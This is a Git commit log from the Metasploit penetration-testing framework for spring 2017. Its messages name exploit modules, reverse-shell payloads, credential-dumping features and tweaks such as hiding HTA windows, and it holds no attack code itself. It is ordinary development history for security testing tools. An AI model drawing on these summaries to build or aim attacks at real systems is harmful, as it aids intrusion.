../wp_optimizepress_upload.rb
Rank = ExcellentRanking
Exploit allows execution of arbitrary code,
has a check for availability
../wing_ftp_admin_exec.rb
Rank = ExcellentRanking
Exploit allows execution of arbitrary commands,
has a check for availability
../novell_mdm_lfi.rb
Rank = ExcellentRanking
Exploit allows execution of arbitrary code,
has a check for availability
../run_as.rb
Rank = ExcellentRanking
Exploit utilizes command injection,
checks system type, and does not require user action
2017-05-07 15:41:26 -04:00
Pearce Barry
af3f1fbc37
Land #8332 , Canprobe Module
2017-05-07 12:20:27 -05:00
Pearce Barry
1c099a3d14
Minor doc tweaks.
2017-05-07 12:13:57 -05:00
Pearce Barry
c05e7b3b58
Minor corrections and a tweak to appease msftidy.
2017-05-07 11:55:20 -05:00
Pearce Barry
e3d3fa8e45
Tweak internal description formatting.
2017-05-07 11:31:36 -05:00
Pearce Barry
b965bdcdae
Appease msftidy and Travis.
2017-05-07 11:19:32 -05:00
m0t
ab245b5042
added note to description
2017-05-07 13:56:50 +01:00
m0t
4f12a1e271
added note to description
2017-05-07 13:54:28 +01:00
Brendan Coles
635a7a42e6
Update style lotus_domino_hashes
2017-05-07 16:37:48 +10:00
Brendan Coles
283a40a279
Add documentation
2017-05-06 12:58:53 +00:00
Jeffrey Martin
05bf16e91e
Land #8331 , Adding module CryptoLog Remote Code Execution
2017-05-05 18:24:14 -05:00
Jeffrey Martin
e2fe70d531
convert store_valid_credential to named params
2017-05-05 18:23:15 -05:00
William Webb
c297e1679c
Land #8336 , Specify LHOST by interface name
2017-05-05 18:05:20 -05:00
Brent Cook
082ce7acb8
Land #8310 , run msfconsole as non root user in docker
2017-05-05 17:26:39 -05:00
h00die
01c726089a
Land #8334 , docs for http/crawler and http/robots
2017-05-05 17:31:45 -04:00
h00die
4309cc42a2
minor doc edits
2017-05-05 17:30:03 -04:00
William Vu
fa47092bfe
Land #8348 , typo fix in Net::DNS
...
Since the lib is vendored, I doubt it'd get fixed otherwise.
2017-05-05 14:17:41 -05:00
Metasploit
a0b50390c5
Bump version of framework to 4.14.17
2017-05-05 10:02:17 -07:00
Carter Harwood
6e312fd009
Minor spelling correction: lenght => length
2017-05-05 10:42:33 -05:00
William Vu
3204ef6075
Land #8342 , whitespace fixes for msfvenom
2017-05-05 06:05:33 -05:00
Mehmet Ince
720a02f5e2
Addressing Spaces at EOL issue reported by Travis
2017-05-05 11:05:17 +03:00
Brendan Coles
0eacf64324
Add Serviio Media Server checkStreamUrl Command Execution
2017-05-05 07:54:00 +00:00
Mehmet Ince
58d2e818b1
Merging multiple sqli area as a func
2017-05-05 10:49:05 +03:00
Brent Cook
2e880c9fdf
move module template to an ERB
2017-05-05 01:16:54 -05:00
Jeffrey Martin
3bc4ac68dc
merge all available keys for login storage
2017-05-04 22:51:48 -05:00
Jeffrey Martin
63b6ab5355
simplify valid credential storage
2017-05-04 22:51:40 -05:00
Gabriel Follon
a8983c831d
Updated links and authors
2017-05-04 18:25:45 -04:00
darkbushido
2f507cf52b
removing some test code
2017-05-04 12:57:50 -05:00
darkbushido
fbf1db590e
Adding a tests
...
trying to find the first interface with a non local v4 ip address.
2017-05-04 12:57:50 -05:00
darkbushido
fee0fb5e90
Missed an LHOST option
...
making OptAddressLocal inherit from OptAddress
2017-05-04 12:57:50 -05:00
darkbushido
81bcf2ca70
updating all LHOST to use the new opt type
2017-05-04 12:57:50 -05:00
darkbushido
a6afd0b9bf
adding in a new option type
...
this will grab the first ipv4 address on a given iface
2017-05-04 12:55:46 -05:00
Gabriel Follon
afe801b9e8
Updated target to 'universal'
2017-05-04 16:25:41 +02:00
Gabriel Follon
073cd59cd3
Added qmail_bash_env_exec exploit module, which exploit the ShellShock flaw via Qmail.
2017-05-04 15:44:18 +02:00
Heitor Gouvêa
59d2b10518
Removing unnecessary spaces
...
I just removed the unnecessary spaces,
this does not influence anything other than reading the code.
2017-05-04 10:41:02 -03:00
itsmeroy2012
73be4f1c2e
Adding StagerRetryWait option in reverse_tcp_ssl
2017-05-04 14:51:40 +05:30
Jon P
cf0b3c9476
Add h00die's swaggy recommendations
2017-05-04 10:50:34 +02:00
Brent Cook
97095ab311
Land #8338 , Fix msf/core and self.class msftidy warnings
2017-05-03 21:55:52 -05:00
wchen-r7
4dd0471a93
Land #8337 , set the correct schema for linux meterpreter reverse_tcp stages
2017-05-03 18:21:21 -05:00
Brent Cook
2d93c8e2d6
merge, don't overwrite
2017-05-03 18:17:58 -05:00
Brent Cook
0798923901
set the correct schema for linux meterpreter reverse_tcp stages
2017-05-03 16:12:45 -05:00
William Vu
64452de06d
Fix msf/core and self.class msftidy warnings
...
Also fixed rex requires.
2017-05-03 15:44:51 -05:00
Jon P
df201e65b4
Documentation for the HTTP crawler
2017-05-03 18:20:35 +02:00
Mehmet Ince
d04e7cba10
Rename the module as well as title
2017-05-03 19:18:46 +03:00
Jon P
733c8c291c
Documentation for the robots_txt scanner module
2017-05-03 17:41:46 +02:00
Mehmet Ince
ae8035a30f
Fixing typo and using shorter sqli payload
2017-05-03 16:45:17 +03:00
Joe Testa
cf74cb81a7
Removed unnecessary 'msf/core' include.
2017-05-03 09:02:05 -04:00
Craig Smith
9877aa9ef9
Added documentation and cleand up how STOPID worked
2017-05-02 18:57:32 -07:00
Mehmet Ince
db2a2ed289
Removing space at eof and self.class from register_options
2017-05-03 01:31:13 +03:00
Mehmet Ince
77acbb8200
Adding cryptolog rce
2017-05-03 01:05:40 +03:00
Craig Smith
3519adbaef
A basic CAN fuzzer. It probes the data regions of different CAN IDs.
...
The default is to use a set value but can iterate the full range. It can
also add padding if necessary. Not checks on returns or results of fuzzing.
2017-05-02 14:19:29 -07:00
Adam Cammack
494711ee65
Land #8307 , Add lib for writing Python modules
2017-05-02 15:53:13 -05:00
Adam Cammack
ba9010730a
Minor cleanup
2017-05-02 15:52:21 -05:00
Pearce Barry
1b58a4f392
Land #8329 , Make help route more informative
2017-05-02 14:19:58 -05:00
Metasploit
2f1df4d4c2
Bump version of framework to 4.14.16
2017-05-02 11:11:20 -07:00
James Lee
bf2abaeeaf
Make help route more informative
2017-05-02 11:07:08 -05:00
Yorick Koster
6870a48c48
Code suggestion from @jvoisin
2017-05-02 16:41:06 +02:00
Joe Testa
012081eed2
Added support for ANY queries. Silently ignore unsupported queries instead of spamming stdout.
2017-05-01 17:28:56 -04:00
William Vu
03e4ee91c2
Correct Ghostscript 9.2.1 to 9.21 as per advisory
2017-05-01 16:23:14 -05:00
Brent Cook
b7d6be05ee
split python loader from generic implementation
2017-05-01 16:10:12 -05:00
William Vu
41ef1a4e90
Land #8325 , cmd/unix/reverse_ncat_ssl payload
2017-05-01 14:54:52 -05:00
William Vu
dcf74b00cf
Land #8316 , Ghostscript CVE-2017-8291 module
2017-05-01 14:54:21 -05:00
C_Sto
772a16f4cd
fix style
2017-05-02 00:55:57 +08:00
C_Sto
9e06c3f07e
fix argument arrangement
2017-05-02 00:39:00 +08:00
C_Sto
5a2afbc364
Tidy payload
2017-05-01 21:38:34 +08:00
Yorick Koster
006ed42248
Added fix information
...
https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/0002
09.html
2017-05-01 09:01:14 +02:00
C_Sto
cfa204b8e8
add reverse ncat ssl
2017-05-01 06:57:28 +08:00
Brent Cook
be608edd76
update Gemfile.local example, use Gemfile.local if it exists when bundling
2017-04-30 10:57:55 -05:00
reanar
0b62a6478a
Modification for Travis (remove require msf/core, and self.class in register)
2017-04-30 17:05:11 +02:00
reanar
3f348150c6
Modification of description
2017-04-30 16:38:39 +02:00
reanar
52ec448511
Add WordPress Directory Traversal DoS Module
2017-04-30 15:03:48 +02:00
h00die
2ab7a42d8b
Land #8322 , fix for nil bug in nonexistent encoder
2017-04-30 08:22:44 -04:00
h00die
a83a7a12e9
land #8320 , docs for ftp_login
2017-04-30 08:15:56 -04:00
h00die
a936713252
fixing formatting
2017-04-30 08:14:36 -04:00
William Vu
585fac0457
Fix nil bug when creating nonexistent encoder
...
Found by irthewinner on IRC.
2017-04-30 03:43:51 -05:00
Yorick Koster
a7436b6afa
Typo
2017-04-29 20:42:15 +02:00
Yorick Koster
0a7b9eedda
Typo
2017-04-29 20:39:17 +02:00
Yorick Koster
673dbdc4b9
Code review feedback from h00die
2017-04-29 20:37:39 +02:00
itsmeroy2012
cae564ea3b
Highlighting filenames
2017-04-29 23:20:13 +05:30
itsmeroy2012
9e7719c428
Adding white space
2017-04-29 20:30:28 +05:30
itsmeroy2012
640368a391
Changing a line
2017-04-29 20:28:23 +05:30
itsmeroy2012
a1765c9e8c
Add KB for ftp_login
2017-04-29 20:27:11 +05:30
Indranil Roy
25eda12395
Merge pull request #3 from rapid7/master
...
merging master
2017-04-29 20:26:45 +05:30
Yorick Koster
fcf14212b4
Fixed disclosure date
2017-04-29 16:25:25 +02:00
Yorick Koster
0eb79e8c8c
Added docs for mediawiki_syntaxhighlight.rb
2017-04-29 16:14:25 +02:00
Yorick Koster
f9e7715adb
Fixed formatting
2017-04-29 16:07:45 +02:00
Yorick Koster
1569d2cf8e
MediaWiki SyntaxHighlight extension exploit module
...
This module exploits an option injection vulnerability in the SyntaxHighlight extension of MediaWiki. It tries to create & execute a PHP file in the document root. The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
2017-04-29 14:29:56 +02:00
Yorick Koster
c54aa22580
Merge remote-tracking branch 'rapid7/master'
2017-04-29 14:09:34 +02:00
William Vu
e026a8c663
Fix typo (s/Remote/Reverse/) in portfwd -L
...
Found by ThePortWhisperer on IRC.
2017-04-29 00:10:13 -05:00
Brandon Knight
c4b3ba0d14
Actually removing msf/core this time... ><
...
Helps to actually remove the bits that were failing. Now with even more
removal of msf/core!
2017-04-28 21:42:06 -04:00
Brandon Knight
ff263812fc
Fix msftidy warnings
...
Remove explicitly loading msf/core and self.class from the register_
functions.
2017-04-28 21:26:53 -04:00
William Vu
56990517b0
Update finger_users doc with nmap --script finger
2017-04-28 17:45:50 -05:00
James Lee
4f9117ff45
Reinstate redirect check, fix regex
2017-04-28 14:45:50 -05:00
dmohanty-r7
24004f16b3
Land #8298 , docs for aux scanner finger
2017-04-28 10:36:50 -05:00
HD Moore
afc804fa03
Quick Ghostscript module based on the public PoC
2017-04-28 09:56:52 -05:00
Brandon Knight
f8fb03682a
Fix issue in ps_wmi_exec and powershell staging
...
The staging function in the post/windows/powershell class was broken
in a previous commit as the definition for env_variable was removed and
env_prefix alone is now used. This caused an error to be thrown when
attempting to stage the payload. This changes the reference from
env_variable to env_prefix.
Additionally, the ps_wmi_exec module created a powershell script to be
run that was intended to be used with the EncodedCommand command line
option; however the script itself was never actually encoded. This
change passes the compressed script to the encode_script function to
resolve that issue.
2017-04-28 03:31:56 -04:00
Pearce Barry
5450e96204
Land #8306 , fix #8305 , escape unadorned periods within SMTP payloads
2017-04-27 17:51:14 -05:00
William Vu
7c9d793e02
Land #8309 , arch for smb_ms17_010 DOUBLEPULSAR
2017-04-27 12:03:52 -05:00
Sara Perez
18fa411189
Updated with Egypt's suggestion, also changed the target name to include other versions
2017-04-27 13:19:44 +01:00
Christian Mehlmauer
eb525840cd
add caps to ruby
2017-04-27 10:55:03 +02:00
Christian Mehlmauer
e93ed889df
run msfconsole as non root user in docker
2017-04-27 10:36:56 +02:00
itsmeroy2012
cd73bd137a
Making use of while loop and solving StagerRetryWait issue
2017-04-27 11:50:13 +05:30
William Vu
1a402ed1d8
Add arch to smb_ms17_010 DOUBLEPULSAR detection
2017-04-26 20:59:13 -05:00
h00die
1843f03665
add nmap equivalent
2017-04-26 19:39:46 -04:00
William Vu
7a6a124272
Land #8279 , POSIX Meterpreter replaced by Mettle
2017-04-26 18:32:17 -05:00
Brent Cook
855aa3f850
Land #8295 , fix doc paths
2017-04-26 18:25:14 -05:00
Brent Cook
a57067c4a7
append metasploit lib to PYTHONPATH
2017-04-26 18:13:46 -05:00
Brent Cook
037fdf854e
move common json-rpc bits to a library
2017-04-26 18:08:08 -05:00
Brent Cook
480a0b4273
update payload sizes
2017-04-26 18:02:14 -05:00
Brent Cook
7c11e0065d
update mettle
2017-04-26 18:00:50 -05:00
Brent Cook
a60e5789ed
update mettle->meterpreter references in modules
2017-04-26 17:55:10 -05:00
Brent Cook
12ed3dad20
update documentation to point to meterpreter again
2017-04-26 17:49:08 -05:00
Brent Cook
43ac2c339e
Land #8291 , Acunetix XML import improvements
2017-04-26 17:38:52 -05:00
Brent Cook
c8984d8a77
Land #8277 , more docker improvements
2017-04-26 17:24:37 -05:00
Brent Cook
078ba66e5f
remove unneeded msf/core requires
2017-04-26 17:17:20 -05:00
Brent Cook
a191e12241
update specs
2017-04-26 17:06:35 -05:00
Brent Cook
353191992f
move mettle payloads to meterpreter, add reverse_http/s stageless
2017-04-26 17:06:34 -05:00
Brent Cook
b0d6e12e9e
Land #8301 , Improve msftidy checks
2017-04-26 16:21:31 -05:00
Brent Cook
f8792956ee
fix one module for testing
2017-04-26 16:21:13 -05:00
Brent Cook
288cb6536d
fix #8305 , escape unadorned periods in the front of SMTP payloads
2017-04-26 16:05:46 -05:00
Pearce Barry
c4f1130619
Acunetix XML import improvements.
...
This patch updates the MSF db_import functionality w.r.t. importing Acunetix XML files to do the following:
- import web vulnerabilities identified by Acunetix
- import all services for each scanned host
- does not pull in the specifc program/version name of each service, as that's pretty loosely formatted in the Acunetix XML
2017-04-26 12:16:20 -05:00
Daniel Teixeira
cd038aed82
Dup Scout Enterprise documentation
2017-04-26 15:19:59 +01:00
Daniel Teixeira
a3a4ba7605
Buffer Overflow on Dup Scout Enterprise v9.5.14
2017-04-26 15:19:00 +01:00
Spencer McIntyre
da6c03d13f
Fix function names to always be snake_case
2017-04-26 09:30:29 -04:00
William Vu
df306c1543
Fix spec (the irony!)
2017-04-26 03:56:10 -05:00
William Vu
f718ea0dc7
Add self.class check for register_*
2017-04-26 03:56:06 -05:00
William Vu
f25d7dce54
Add check for require 'msf/core'
2017-04-26 02:54:02 -05:00
William Vu
228de518f0
Remove horrid title casing check
2017-04-26 02:53:59 -05:00
William Vu
bbee7f86b5
Land #8263 , Mercurial SSH exec module
2017-04-26 01:38:01 -05:00
William Vu
f60807113b
Clean up module
2017-04-26 01:37:49 -05:00
William Vu
a524dbab59
Land #8300 , another tourniquet on a bloody stump
2017-04-26 01:15:56 -05:00
William Vu
ad084ae0cc
Land #8286 , x11_keyboard_exec docs
2017-04-26 01:12:41 -05:00
William Vu
6739725489
Land #8285 , open_x11 docs
2017-04-26 01:12:27 -05:00
Brent Cook
aa03db1f5c
update meterpreter scripts to check the right prerequisites
2017-04-25 23:31:39 -05:00
anhilo
56685bbfaa
Update office_word_hta.rb
2017-04-26 11:05:21 +08:00
anhilo
f3d6a8c456
split PSModulePath in multi strings with ';'
...
1、allows the HTA window to be invisible
2017-04-26 11:01:59 +08:00
h00die
43847f9606
finger docs
2017-04-25 22:29:39 -04:00
h00die
c4bb918cca
addition of energizer duo docs
2017-04-25 22:05:55 -04:00
h00die
285358e2a4
fix paths
2017-04-25 21:12:55 -04:00
h00die
0ae6142b76
land #8283 , docs for ftp/anonymous
2017-04-25 20:55:17 -04:00
h00die
d1911a78c5
minor syntax change
2017-04-25 20:51:40 -04:00
h00die
323650dfe4
land #8284 docs for ftp_version
2017-04-25 19:37:04 -04:00
h00die
4c71a9908d
minor adjustment
2017-04-25 19:35:03 -04:00
Spencer McIntyre
a3bcd20b26
Minor cleanups for multi-platform railgun
2017-04-25 17:45:07 -04:00
William Vu
5476f6066c
Land #8271 , DOUBLEPULSAR detection for MS17-010
2017-04-25 16:31:39 -05:00
Spencer McIntyre
3347af24ba
Add some basic libc definitions for railgun
2017-04-25 15:12:39 -04:00
Spencer McIntyre
9c60c3ee46
Support platform specific railgun constants
2017-04-25 14:36:15 -04:00
Brent Cook
6f763a616d
Land #8225 , Expose the shared wifi profile dumping feature in Mimikatz
2017-04-25 11:23:34 -05:00
Craig Smith
aeed81de29
Code cleanup from Rubocop output
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
c2296dcd1b
Addes 'isotpsend' command to interactive commands to send ISO-TP related queries
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
4019a14865
The local HWBridge now does not print out status for each URI request per default. This can be enabled by setting verbose to true.
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
36026ba8b4
Fixed active buses not being recorded. The 'connect' command now works for other extensions as well as modules. Added TesterPresent background packet transmissions to hold debugging sessions open.
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
2012ebf38f
Fixed bug with a duplicate ID in hash for errors
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
406051a3ff
Added more session management to hwbridge. Commands 'sessions' and 'background' added.
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
5537348e28
Addes Statistics support from the API. When typing status in a hardware bridge it will also print packet statistics.
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Craig Smith
c4a6cc1907
Array was being checked with even? and should be array.size.even?
...
Signed-off-by: Craig Smith <agent.craig@gmail.com >
2017-04-24 20:42:03 -07:00
Spencer McIntyre
daf8833174
Refactor a bunch of windows_name references
2017-04-24 19:54:00 -04:00
Spencer McIntyre
3cc089bcef
Support loading platform specific railgun defs
2017-04-24 19:46:56 -04:00
wchen-r7
320898697a
Land #8266 , Add Buffer Overflow Exploit on Disk Sorter Enterprise
2017-04-24 17:17:30 -05:00
wchen-r7
1d86905fca
Land #8288 , Minor changes to WiPG-1000 module
2017-04-24 17:09:25 -05:00
wchen-r7
e333cb65e5
Restore require 'msf/core'
2017-04-24 17:09:02 -05:00
wchen-r7
c573628e10
Fix header
2017-04-24 17:01:35 -05:00
wchen-r7
e775f9ccbd
Land #8259 , Add post module to upload and execute a file
2017-04-24 17:00:55 -05:00
wchen-r7
8c463ab570
Add doc for upload_exec
2017-04-24 17:00:09 -05:00
Matthias Brun
d3aba846b9
Make minor changes
2017-04-24 23:35:36 +02:00
wchen-r7
35bc1fbf28
Land #8282 , Add module doc for auxiliary/scanner/chargen/chargen_probe
2017-04-24 16:14:19 -05:00
Spencer McIntyre
d3a759d631
Make changes for initial linux railgun support
2017-04-24 17:11:27 -04:00
wchen-r7
5bbb4d755a
Land #8254 , Add CVE-2017-0199 - Office Word HTA Module
2017-04-24 16:05:00 -05:00
wchen-r7
6029a9ee2b
Use a built-in HTA server and update doc
2017-04-24 16:04:27 -05:00
Daniel Teixeira
a404a1ed04
Rename disksorter_bof.rb.md to disksorter_bof.md
2017-04-24 21:58:37 +01:00
James Lee
47e5f90ded
Add docs for wp_admin_shell_upload
2017-04-24 15:50:59 -05:00
zerosum0x0
55f01d3fc7
made the plugin less spammy with more vprintf
2017-04-24 13:33:05 -06:00
zerosum0x0
453ca6e3bf
added OS printing on vulnerable systems
2017-04-24 13:20:44 -06:00
itsmeroy2012
7192836515
few edits added
2017-04-24 23:15:14 +05:30
itsmeroy2012
47b8738bdc
few edits added
2017-04-24 23:08:20 +05:30
Daniel Teixeira
c5b594d928
Disk Sorter Enterprise Documentation
2017-04-24 14:59:47 +01:00
Daniel Teixeira
47898717c9
Minor documentation improvements
...
Space after ,
2017-04-24 14:47:25 +01:00
h00die
b2f9bbc43c
add xdotool
2017-04-23 16:04:11 -04:00
h00die
d1ed6afad1
x11 exploit docs
2017-04-23 15:48:48 -04:00
h00die
f84061e195
docs
2017-04-23 15:10:23 -04:00
itsmeroy2012
03099cd57b
adding confirmation
2017-04-24 00:15:53 +05:30
itsmeroy2012
2990c3b2fb
minor fix
2017-04-24 00:10:30 +05:30
itsmeroy2012
98d1997cfa
KB for ftp_version
2017-04-24 00:09:20 +05:30
itsmeroy2012
1650492e7b
update
2017-04-23 23:50:02 +05:30
itsmeroy2012
ef29cf441a
adding sample output
2017-04-23 23:48:38 +05:30
itsmeroy2012
56aed7a998
whitespace fix
2017-04-23 23:45:29 +05:30
itsmeroy2012
e10a346d01
minor fixes
2017-04-23 23:41:58 +05:30
itsmeroy2012
2abaa9cc0a
fixing numbers
2017-04-23 23:38:23 +05:30
itsmeroy2012
5d71ce9508
adding confirmation
2017-04-23 23:37:04 +05:30
itsmeroy2012
57f0a4f00c
KB for ftp/anonymous
2017-04-23 23:35:55 +05:30
h00die
562389df57
add comma
2017-04-23 11:49:52 -04:00
h00die
c6109f7138
add newline
2017-04-23 11:41:08 -04:00
h00die
e8e2a3dd61
chargen_probe docs
2017-04-23 11:38:29 -04:00
itsmeroy2012
bd2379784e
Improved error handling for the python reverse_tcp payload
...
Handling all kinds of errors
Removing 'e'
Updating payload cached sizes
Updating payload cached sizes 2.0
Adding option to set retry time
2017-04-23 20:43:57 +05:30
zerosum0x0
a69aba0eab
added XOR Key calculation
2017-04-22 23:54:30 -06:00
h00die
a4f29fbd26
Land #8270 exploit for wipg-1000 cmd injection
2017-04-22 09:46:40 -04:00
h00die
8e4c093a22
added version numbers
2017-04-22 09:45:55 -04:00
Christian Mehlmauer
e0fc7229bf
try to fix travis
2017-04-22 02:33:33 +02:00
Christian Mehlmauer
dd92660262
remove comment
2017-04-22 02:13:20 +02:00
Christian Mehlmauer
af003b28d1
more docker work
2017-04-22 02:10:00 +02:00
Spencer McIntyre
ffe6d35b4d
Add a module to dump network passwords from gnome
2017-04-21 16:17:18 -04:00
Metasploit
89e81253ed
Bump version of framework to 4.14.15
2017-04-21 10:02:32 -07:00
Brent Cook
6b37e1ecfc
Land #8268 , Improve metasploit-aggregator UX
2017-04-21 11:21:49 -05:00
James Lee
227c0f746a
Record credentials when wordpress_login succeeds
2017-04-21 10:59:07 -05:00
zerosum0x0
8a77bf7b60
removed wrong comments
2017-04-21 08:27:13 -06:00
Matthias Brun
ca03140531
Add documentation for WiPG-1000 module
2017-04-21 15:37:47 +02:00
Matthias Brun
714ada2b66
Inline execute_cmd function
2017-04-21 15:32:15 +02:00
zerosum0x0
9fab64c60e
added references
2017-04-20 15:22:37 -06:00
zerosum0x0
dd12afd717
added DoublePulsar detection
2017-04-20 15:03:29 -06:00
Matthias Brun
8218f024e0
Add WiPG-1000 Command Injection module
2017-04-20 16:32:23 +02:00
Pearce Barry
fc3a880c0d
Land #8214 , Fix ELM327 ISOTP commands
2017-04-19 15:05:12 -05:00
Jeffrey Martin
32da0ed3d7
fix some comment typos
2017-04-19 14:14:26 -05:00
Jeffrey Martin
6c448d22b4
improve aggregator session listings
...
adjust session lists generated from a metasploit aggregator connection to be match calls to sessions and sessions -v against the local console
2017-04-19 14:12:21 -05:00
Metasploit
f90911e09e
Bump version of framework to 4.14.14
2017-04-19 09:35:29 -07:00
Brandon Knight
c724f0e05d
Handle multiple entries in PSModulePath
...
This commit handles the case where more than one entry exists in
the PSModulePath environment variable. The updated code will loop
through each entry in the PSModulePath checking for the presence of
powershell.exe. When one is encountered it will execute the payload
and exit the for loop.
2017-04-19 11:22:38 -04:00
Koen Riepe
55ab800f13
Minor code fixes.
2017-04-19 14:41:11 +02:00
DanielRTeixeira
f1c51447c1
Add files via upload
...
Buffer Overflow on Disk Sorter Enterprise
2017-04-19 10:57:41 +01:00
Jonathan Claudius
999a5dfb9c
Make tested against a bulleted list
2017-04-18 22:29:04 -04:00
h00die
9f892c56fb
land #8244 docs for manageengine_connectionid_write
2017-04-18 21:43:58 -04:00
Jonathan Claudius
a80355a4a7
Make code snippets easier to see
2017-04-18 19:50:57 -04:00
Jonathan Claudius
17aac0046b
Add documentation for mercurial_ssh_exec
2017-04-18 19:49:35 -04:00
Jonathan Claudius
f5430e5c47
Revert Msf::Exploit::Remote::Tcp
2017-04-18 19:27:35 -04:00
Jonathan Claudius
9a870a623d
Make use of Msf::Exploit::Remote::Tcp
2017-04-18 19:17:48 -04:00
Jonathan Claudius
03e3065706
Fix MSF tidy issues
2017-04-18 18:56:42 -04:00
Jonathan Claudius
32f0b57091
Fix new line issues
2017-04-18 18:52:53 -04:00
dmaloney-r7
524bbd7ad6
Merge pull request #8261 from dmaloney-r7/bug/disable_smb_login_nbss
...
Bug/disable smb login nbss
2017-04-18 16:46:11 -05:00
James Lee
bdeeb8ee1d
Add a check
2017-04-18 16:32:06 -05:00
William Vu
3b38d0d900
Land #8262 , PR ref for huawei_hg532n_cmdinject
2017-04-18 16:29:13 -05:00
Jonathan Claudius
bfca4da9b0
Add mercurial ssh exec
2017-04-18 16:33:23 -04:00
David Maloney
aa9c037307
fix spec for reals this time
2017-04-18 14:30:29 -05:00
Tod Beardsley
1fcc1f7417
Trailing comma. Why isn't this Lua?
2017-04-18 14:27:44 -05:00
wchen-r7
0428e12b10
Land #8216 , Add CVE-2016-7552/CVE-2016-7547 exploit
2017-04-18 14:26:55 -05:00
Tod Beardsley
4ec71f9272
Add a reference to the original PR
...
This was the source of first public disclosure, so may as well include
it.
2017-04-18 14:20:25 -05:00
David Maloney
db246e6076
update spec
2017-04-18 14:19:29 -05:00
David Maloney
8d4ccb5d51
SMB over NtBIOS no longer works
...
don't try to run the smb loginscanner
against port 139
2017-04-18 13:34:00 -05:00
David Maloney
eb29bf05b3
Merge branch 'master' of github.com:rapid7/metasploit-framework
2017-04-18 13:33:06 -05:00
Metasploit
05e15cee18
Bump version of framework to 4.14.13
2017-04-18 08:17:22 -07:00
James Barnett
a444444a04
Land #8256 . Handle blank creds in smb login scanner.
2017-04-18 10:11:37 -05:00
Sara Perez
178d68003e
version check, as the name for the api key call changes on 11.0. Line 130
2017-04-18 10:32:28 +01:00
nixawk
0a085c4e83
add doc for exploit/windows/fileformat/office_word_hta
2017-04-18 03:26:10 -05:00
David Maloney
1d52e269a7
update ruby_smb
2017-04-17 22:20:02 -05:00
David Maloney
6ed15a6df8
update ruby_smb
2017-04-17 22:18:36 -05:00
David Maloney
9634248211
treat socket reads as a connection error
...
treat failures to read from the socket
as a connection error
2017-04-17 21:58:22 -05:00
James Lee
84dd5cd01a
Add a simple upload exec module
2017-04-17 19:34:21 -05:00
Adam Cammack
85845b3be5
Land #8257 , Fix typo in exploit/linux/smtp/haraka
2017-04-17 13:31:28 -05:00
itsmeroy2012
5f921859f0
adding hotlinks
2017-04-17 23:37:44 +05:30
itsmeroy2012
84220d6617
Minor edits
2017-04-17 23:30:07 +05:30
Nate Caroe
92e7183a74
Small typo fix
...
Running msfconsole would generate an Ubuntu crash report (?). This seems to be the culprit.
2017-04-17 11:14:51 -06:00
William Vu
942959f7e8
Land #8255 , fixes for smb_ms17_010
2017-04-17 11:38:34 -05:00
David Maloney
a597de516d
actually use the coerced values
2017-04-17 11:24:57 -05:00
David Maloney
bbdf06af5d
coerece nil credentials to empty strings
...
rubySMB doesn't take nils for credential data, so coerce any nils into
empty strings bfore sending it on
2017-04-17 11:17:09 -05:00
Brent Cook
5a1e2d6f98
Land #8253 , Auto-close and hide HTA windows
2017-04-17 07:42:49 -05:00
Brent Cook
7b936b0012
Land #8184 , convert IPMI protocol and modules to bindata
2017-04-17 07:40:15 -05:00
Brent Cook
6f70efcfa1
add module documentation
2017-04-17 07:39:43 -05:00
Brent Cook
7384212656
Land #8245 , Add Huawei HG532n command injection exploit
2017-04-17 07:04:05 -05:00
William Vu
cf8854b0e0
Land #8252 , Msf::Util::EXE loop-vbs double var fix
2017-04-17 03:19:11 -05:00
William Vu
b1c7f1302b
Fix report_vuln and prefer vprint_error
2017-04-17 02:48:56 -05:00
Ahmed S. Darwish
e21504b22d
huawei_hg532n_cmdinject: Use send_request_cgi() 'vars_get' key
...
Instead of rolling our own GET parameters implementation.
Thanks @wvu-r7!
2017-04-17 09:11:50 +02:00
nixawk
3d082814cb
Fix default options
2017-04-17 01:09:48 -05:00
Ahmed S. Darwish
7daec53106
huawei_hg532n_cmdinject: Improve overall documentation
...
- Add section on compiling custom binaries for the device
- Add documentation for Huawei's wget flavor (thanks @h00die)
- Abridge the module's info hash contents (thanks @wwebb-r7)
- Abridge the module's comments; reference documentation (@h00die)
2017-04-17 08:00:51 +02:00
nixawk
637098466c
Hidden black flash windows / Close HTA windows
2017-04-16 22:53:17 -05:00
nixawk
484a545629
Replace exe.rb double variable declare
2017-04-16 22:38:49 -05:00
Ahmed S. Darwish
8a302463ab
huawei_hg532n_cmdinject: Use minimum permissions for staged binary
...
Use u+rwx permissions only, instead of full 777, while staging the
wget binary to target. As suggested by @wvu-r7 and @busterb.
2017-04-17 03:27:57 +02:00
Ahmed S. Darwish
7ca7528cba
huawei_hg532n_cmdinject: Spelling fixes suggested by @wvu-r7
2017-04-17 03:23:20 +02:00
Brent Cook
601131c851
Land #8250 , Fix packet ordering issue with reverse_tcp sessions
2017-04-16 19:47:21 -05:00
Brent Cook
67047cf770
Revert "Fixes MS-1716, keep sessions in progress alive."
...
This reverts commit e5d0370a94 .
2017-04-16 15:52:22 -05:00
Brent Cook
53e6fa83cf
Land #8248 , bump metasploit-payloads, fix 64-bit builds
2017-04-16 08:55:00 -05:00
Brent Cook
7613bd8964
bump metasploit-payloads, fix 64-bit builds
2017-04-16 08:52:41 -05:00
mr_me
f8c72df289
added some documentation
2017-04-16 08:41:52 -05:00
Ahmed S. Darwish
7b8e5e5016
Add Huawei HG532n command injection exploit
2017-04-15 21:01:47 +02:00
itsmeroy2012
477b78a75e
adding :
2017-04-15 17:37:21 +05:30
itsmeroy2012
aae009a542
missed heading
2017-04-15 17:35:52 +05:30
itsmeroy2012
8ad80ea3d6
fixing whitespaces
2017-04-15 17:34:14 +05:30
itsmeroy2012
39b228bb39
fixing headings
2017-04-15 17:32:35 +05:30
itsmeroy2012
f573d004d2
